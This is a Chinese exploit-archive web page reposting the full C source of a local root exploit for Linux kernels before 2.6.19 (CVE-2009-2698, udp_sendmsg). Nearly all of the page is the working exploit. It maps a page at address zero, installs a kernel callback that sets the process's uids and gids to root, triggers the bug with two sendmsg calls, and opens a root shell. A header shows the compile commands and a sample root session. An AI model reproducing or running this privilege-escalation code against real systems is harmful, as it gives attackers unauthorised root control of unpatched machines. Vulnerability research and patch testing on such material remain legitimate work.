首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit
来源: Google Security Team 作者:andi 发布时间:2009-09-03  
/***********************************************************
* hoagie_udp_sendmsg.c
* LOCAL LINUX KERNEL ROOT EXPLOIT (< 2.6.19) - CVE-2009-2698
*
* udp_sendmsg bug exploit via (*output) callback function
* used in dst_entry / rtable
*
* Bug reported by Tavis Ormandy and Julien Tinnes
* of the Google Security Team
*
* Tested with Debian Etch (r0)
*
* $ cat /etc/debian_version
* 4.0
* $ uname -a
* Linux debian 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux
* $ gcc hoagie_udp_sendmsg.c -o hoagie_udp_sendmsg
* $ ./hoagie_udp_sendmsg
* hoagie_udp_sendmsg.c - linux root < 2.6.19 local
* -andi / void.at
*
* sh-3.1# id
* uid=0(root) gid=0(root) Gruppen=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(andi)
* sh-3.1#
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
*
************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/mman.h>

/**
* this code will be called from NF_HOOK via (*output) callback in kernel mode
*/
void set_current_task_uids_gids_to_zero() {
   asm("push %eax\n"
       "movl $0xffffe000, %eax\n"
       "andl %esp, %eax\n"
       "movl (%eax), %eax\n"
       "movl $0x0, 0x150(%eax)\n"
       "movl $0x0, 0x154(%eax)\n"
       "movl $0x0, 0x158(%eax)\n"
       "movl $0x0, 0x15a(%eax)\n"
       "movl $0x0, 0x160(%eax)\n"
       "movl $0x0, 0x164(%eax)\n"
       "movl $0x0, 0x168(%eax)\n"
       "movl $0x0, 0x16a(%eax)\n"
       "pop  %eax\n");
}

int main(int argc, char **argv) {
   int s;
   struct msghdr header;
   struct sockaddr_in sin;
   char *rtable = NULL;

   fprintf(stderr,
           "hoagie_udp_sendmsg.c - linux root <= 2.6.19 local\n"
              "-andi / void.at\n\n");

   s = socket(PF_INET, SOCK_DGRAM, 0);
   if (s == -1) {
      fprintf(stderr, "[*] can't create socket\n");
      exit(-1);
   }

   /**
    * initialize required variables
    */
   memset(&header, 0, sizeof(struct msghdr));
   memset(&sin, 0, sizeof(struct sockaddr_in));
   sin.sin_family = AF_INET;
   sin.sin_addr.s_addr = inet_addr("127.0.0.1");
   sin.sin_port = htons(22);
   header.msg_name = &sin;
   header.msg_namelen = sizeof(sin);

   /**
    * and this is the trick:
    * we can use (*output)(struct sk_buff*) from dst_entry (used by rtable) as a callback (=> offset 0x74)
    * so we map our rtable buffer at offset 0 and set output callback function
    *
    * struct dst_entry
    * {
    *         struct dst_entry        *next;
    *         atomic_t                __refcnt;       client references
    *         int                     __use;
    *         struct dst_entry        *child;
    *         struct net_device       *dev;
    *         short                   error;
    *         short                   obsolete;
    *         int                     flags;
    * #define DST_HOST                1
    * #define DST_NOXFRM              2
    * #define DST_NOPOLICY            4
    * #define DST_NOHASH              8
    * #define DST_BALANCED            0x10
    *         unsigned long           lastuse;
    *         unsigned long           expires;
    *
    *         unsigned short          header_len;     * more space at head required *
    *         unsigned short          trailer_len;    * space to reserve at tail *
    *
    *         u32                     metrics[RTAX_MAX];
    *         struct dst_entry        *path;
    *
    *         unsigned long           rate_last;      * rate limiting for ICMP *
    *         unsigned long           rate_tokens;
    *
    *         struct neighbour        *neighbour;
    *         struct hh_cache         *hh;
    *         struct xfrm_state       *xfrm;
    *
    *         int                     (*input)(struct sk_buff*);
    *         int                     (*output)(struct sk_buff*);
    *
    * #ifdef CONFIG_NET_CLS_ROUTE
    *         __u32                   tclassid;
    * #endif
    *
    *         struct  dst_ops         *ops;
    *         struct rcu_head         rcu_head;
    *
    *         char                    info[0];
    * };
    *
    * struct rtable
    * {
    *         union
    *         {
    *                 struct dst_entry        dst;
    *                 struct rtable           *rt_next;
    *         } u;
    *
    *         struct in_device        *idev;
    *
    *         unsigned                rt_flags;
    *         __u16                   rt_type;
    *         __u16                   rt_multipath_alg;
    *
    *         __be32                  rt_dst; * Path destination     *
    *         __be32                  rt_src; * Path source          *
    *         int                     rt_iif;
    *
    *         * Info on neighbour *
    *         __be32                  rt_gateway;
    *
    *         * Cache lookup keys *
    *         struct flowi            fl;
    *
    *         * Miscellaneous cached information *
    *          __be32                  rt_spec_dst; * RFC1122 specific destination *
    *         struct inet_peer        *peer; * long-living peer info *
    * };
    *
    */
   rtable = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
   if (rtable == MAP_FAILED) {
      fprintf(stderr, "[*] mmap failed\n");
      exit(-1);
   }
   *(int *)(rtable + 0x74) = (int)set_current_task_uids_gids_to_zero;

   /* trigger exploit
    *
    * the second sendmsg() call will call ip_append_data() with rt == NULL
    * because of:
    * if (up->pending) {
    *          *
    *          * There are pending frames.
    *          * The socket lock must be held while it's corked.
    *          *
    *          lock_sock(sk);
    *          if (likely(up->pending)) {
    *                    if (unlikely(up->pending != AF_INET)) {
    *                            release_sock(sk);
    *                            return -EINVAL;
    *                    }
    *                    goto do_append_data;
    *            }
    *            release_sock(sk);
    *    }
    *
    */
   sendmsg(s, &header, MSG_MORE|MSG_PROXY);
   sendmsg(s, &header, 0);

   close(s);

   system("/bin/sh");

   return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel < 2.6.19 udp_send
·Discuz! Plugin JiangHu <= 1.1
·osCommerce Online Merchant ver
·Microsoft IIS versions 5 and 6
·Nokia Multimedia Player versio
·Adobe Acrobat/Reader < 7.1.1/8
·SmartVmd Active-X version 1.3
·Hamster Audio Player 0.3a (Ass
·SmartVmd Active-X version 1.3
·SAP Player 0.9 (.m3u) Universa
·Unsniff Network Analyzer versi
·PPstream 2.6.86.8900 PPSMediaL
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved